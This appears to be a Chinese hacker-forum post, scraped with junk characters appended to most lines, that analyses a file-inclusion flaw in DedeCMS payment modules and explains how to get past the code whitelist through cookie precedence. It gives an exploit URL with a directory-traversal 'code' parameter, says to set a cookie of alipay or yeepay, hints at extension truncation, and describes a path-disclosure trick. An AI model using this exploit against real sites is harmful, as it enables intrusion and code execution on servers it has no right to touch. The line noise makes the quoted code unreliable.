晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
1 b7 }" i e* `5 h+ C' o0 H4 _% Q" H0 B& u3 Z
出现漏洞的两个文件为:4 P7 |, _# n4 B; p; H' Z0 E7 ]
Include/payment/alipay.php
1 s: ^- V# S) t: H8 ?Include/payment/yeepay.php+ C, F9 V* N# V" R
漏洞均出现在respond方法里,估计这两个文件是临时工写的。
" E, J+ I- {1 b- m8 a8 K x
, u9 T& I# [5 @, s8 F9 i3 bInclude/payment/alipay.php$ g, x7 d6 M. p9 B( F( O, w+ H
~) J+ m6 g( M a, o9 \; y. l2 g
......
X, s0 \' n' P function respond()
3 F1 Q' z: I3 L1 ]5 L; N0 i- t {3 q. J* D1 {5 p3 t8 F
if (!empty($_POST))
; [# u& I" D/ y. n4 x {
0 K, R8 Y5 w5 z' _' Z- |% j foreach($_POST as $key => $data)
& D% _" g2 M2 q2 H {$ d$ J% v: W8 e& ]) d
$_GET[$key] = $data;
% O0 G% |3 U) x4 Y& y( {! x9 o }4 @ U; }) I" L
}
- Q! S3 X: X* P" a4 q /* 引入配置文件 */
0 d! `8 C# @, f; K) m4 a require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';2 u) i: P% I$ r9 p( j: W$ T" [. @
......
! U% T$ I* {1 ?; q' j3 T $ W6 a- _0 _+ r& w
1 M7 I! ]3 U, W& o G
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。- s6 Z( d8 C5 |& C" M
2 x; K2 e9 p* n
Include/payment/yeepay.php2 c) X. M: w) h w1 N6 y
6 d4 w8 B, f/ U6 y( O 1 A' P- n# g0 ?9 X4 r* D, K5 K
+ [$ h& I( n3 ^+ G& c
......
/ f" E8 V6 h1 }. O% o function respond(): d# K$ c9 k. P" W
{* F' J v$ S9 y# E( {4 a) S0 R
2 B+ Y2 k3 h w- D& h) c+ r# g @: l8 f$ w
/* 引入配置文件 */9 o) \! i! z: K* Y
require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
" K# h& J* C* V
6 d" g2 z4 X) T2 Y) W $p1_MerId = trim($payment['yp_account']);8 B: |1 J8 \- O% T3 ^
$merchantKey = trim($payment['yp_key']);% k A, N! k: z
...... ! J" y) |& O" n" I' s
" X4 B0 S3 j5 E9 ]- {. z( a
" q" W) q, m( f, `) s$ l
2 c6 R, ~" A5 {0 Y" {/ o1 C+ u& Z1 w5 z0 N5 s; U
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。7 G/ Y0 g5 S( \2 V# f
8 e6 V& \1 O2 u, I) O" S- V这两个方法在plus/carbuyaction.php文件调用。
* i7 o0 F4 |! c _8 b
5 v( Y2 n/ T- G. N5 Hplus/carbuyaction.php2 N/ T6 H5 w# }9 c' J0 n
1 _8 T* V! J6 `1 u. K......
e2 s3 d$ Y' G1 L6 M} else if ($dopost == 'return') {
* F- c% Q3 M/ \3 t& e a $write_list = array('alipay', 'bank', 'cod', 'yeepay');. `6 o N' K, H. F2 ~
if (in_array($code, $write_list))
; l; i$ w7 g* m8 \ {6 d4 i L* \( N1 t: k- f
require_once DEDEINC.'/payment/'.$code.'.php'; r' t3 s9 v6 H9 [% E2 `9 B
$pay = new $code;
: a4 A G% H* t8 H $msg=$pay->respond();. C2 \# ~ m! v# R$ q
ShowMsg($msg, "javascript:;", 0, 3000);
" \/ v2 s2 ^4 h7 h2 t+ x! L( @ exit(); ) x# n. O( O2 a1 v1 }/ V( B: D
} else {
2 t, A9 q# w% g9 O! N% H exit('Error:File Type Can\'t Recognized!');
4 K' q0 s# z! H ] r) |" D }
- N9 N4 ~, _1 Q T}! r$ c1 `0 W7 I* a
...... h+ n( k* l! W0 m
7 ]; E' z$ _, V5 I k9 B4 \& g0 {- w! z! h# u; T
9 p& R* C8 W; B4 M% I, l, [
6 q c1 l3 j2 e2 D& S. _) F
9 V5 ~# A C. m2 O' ~% y0 ~& y& y7 F. k) W: G7 d
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。1 | n2 g( l7 K, S2 t
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
! L; `, Z- }- D8 g$ |7 v( N$ b9 `6 d
回到include/common.inc.php来看看他的机制。7 B7 l H5 G, ~9 q/ o
. Z2 h O$ Q; X }9 U" F5 [
* W" Z7 e% Z( O" x
# z6 b, _5 o4 n' {......3 c1 c; D% E, P2 v& k8 Q! `$ b
foreach(Array('_GET','_POST','_COOKIE') as $_request)
+ @4 v; F: @# t0 v{
6 g& F$ C* {: r, o" J t1 s2 D foreach($$_request as $_k => $_v) ; F: M( }+ Q0 Y
{' }& g' g% ~- c* D. |
if($_k == 'nvarname') ${$_k} = $_v;
$ r1 W- Y( U3 c$ m6 q5 v else ${$_k} = _RunMagicQuotes($_v);8 r. ?8 p# } `+ \. {
}2 P* n1 |7 g8 Y: Q
}
. C* o+ s) ~/ V' T...... 9 g) S2 n) C- |/ G
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
1 O L6 b2 w, _: g5 |, X- ~由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |